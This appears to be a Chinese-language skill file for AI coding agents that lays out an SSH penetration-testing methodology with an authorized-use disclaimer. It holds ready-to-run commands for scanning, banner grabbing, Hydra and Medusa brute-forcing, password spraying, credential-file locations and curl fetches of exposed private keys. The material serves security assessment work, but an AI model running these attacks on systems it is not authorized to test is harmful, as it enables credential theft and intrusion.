
关于
进行全面的 SSH 安全评估,包括枚举、凭据攻击、漏洞利用、隧道技术和后利用活动。涵盖测试 SSH 服务安全的完整方法论。
name: ssh-penetration-testing description: "进行全面的 SSH 安全评估,包括枚举、凭证攻击、漏洞利用、隧道技术和后渗透活动。此技能涵盖测试 SSH 服务安全的完整方法论。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
仅限授权使用:仅在授权的安全评估、防御验证或受控教育环境中使用此技能。
SSH 渗透测试
目的
进行全面的 SSH 安全评估,包括枚举、凭证攻击、漏洞利用、隧道技术和后渗透活动。此技能涵盖测试 SSH 服务安全的完整方法论。
前提条件
必需工具
- 带有 SSH 脚本的 Nmap
- Hydra 或 Medusa 用于暴力破解
- ssh-audit 用于配置分析
- Metasploit Framework
- 带有 Paramiko 库的 Python
必需知识
- SSH 协议基础
- 公钥/私钥认证
- 端口转发概念
- Linux 命令行熟练度
输出和交付物
- SSH 枚举报告 - 版本、算法、配置
- 凭证评估 - 弱密码、默认凭证
- 漏洞评估 - 已知 CVE、配置错误
- 隧道文档 - 端口转发配置
核心工作流
阶段 1:SSH 服务发现
在目标网络上识别 SSH 服务:
# 快速 SSH 端口扫描
nmap -p 22 192.168.1.0/24 --open
# 常见替代 SSH 端口
nmap -p 22,2222,22222,2200 192.168.1.100
# 完整端口扫描查找 SSH
nmap -p- --open 192.168.1.100 | grep -i ssh
# 服务版本检测
nmap -sV -p 22 192.168.1.100
阶段 2:SSH 枚举
收集 SSH 服务的详细信息:
# Banner 抓取
nc 192.168.1.100 22
# 输出: SSH-2.0-OpenSSH_8.4p1 Debian-5
# Telnet banner 抓取
telnet 192.168.1.100 22
# Nmap 版本检测配合脚本
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
# 枚举支持的算法
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
# 获取主机密钥
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
# 检查认证方法
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
阶段 3:SSH 配置审计
识别弱配置:
# ssh-audit - 全面 SSH 审计
ssh-audit 192.168.1.100
# ssh-audit 指定端口
ssh-audit -p 2222 192.168.1.100
# 输出包括:
# - 算法建议
# - 安全漏洞
# - 加固建议
需要识别的关键配置弱点:
- 弱密钥交换算法(diffie-hellman-group1-sha1)
- 弱加密算法(arcfour、3des-cbc)
- 弱 MAC(hmac-md5、hmac-sha1-96)
- 已弃用的协议版本
阶段 4:凭证攻击
使用 Hydra 暴力破解
# 单用户名,密码列表
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# 用户名列表,单密码
hydra -L users.txt -p Password123 ssh://192.168.1.100
# 用户名和密码列表
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# 指定端口
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
# 速率限制规避(慢速)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
# 详细输出
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
# 首次成功后退出
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
使用 Medusa 暴力破解
# 基本暴力破解
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
# 多目标
medusa -H targets.txt -u admin -P passwords.txt -M ssh
# 使用用户名列表
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
# 指定端口
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
密码喷洒
# 对多用户测试常见密码
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# 多个常见密码
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
阶段 5:基于密钥的认证测试
测试弱密钥或暴露的密钥:
# 使用找到的私钥尝试登录
ssh -i id_rsa user@192.168.1.100
# 明确指定密钥(绕过代理)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
# 强制密码认证
ssh -o PreferredAuthentications=password user@192.168.1.100
# 尝试常见密钥名称
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
done
检查暴露的密钥:
# 私钥的常见位置
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/
# Web 可访问的密钥(使用 curl/wget 检查)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/backup/id_rsa
限制
- 仅在任务明确匹配上述范围时使用此技能。
- 不要将输出视为环境特定验证、测试或专家审查的替代品。
- 如果缺少必需的输入、权限、安全边界或成功标准,请停下来要求澄清。
兼容工具
Claude CodeCursor
标签
安全
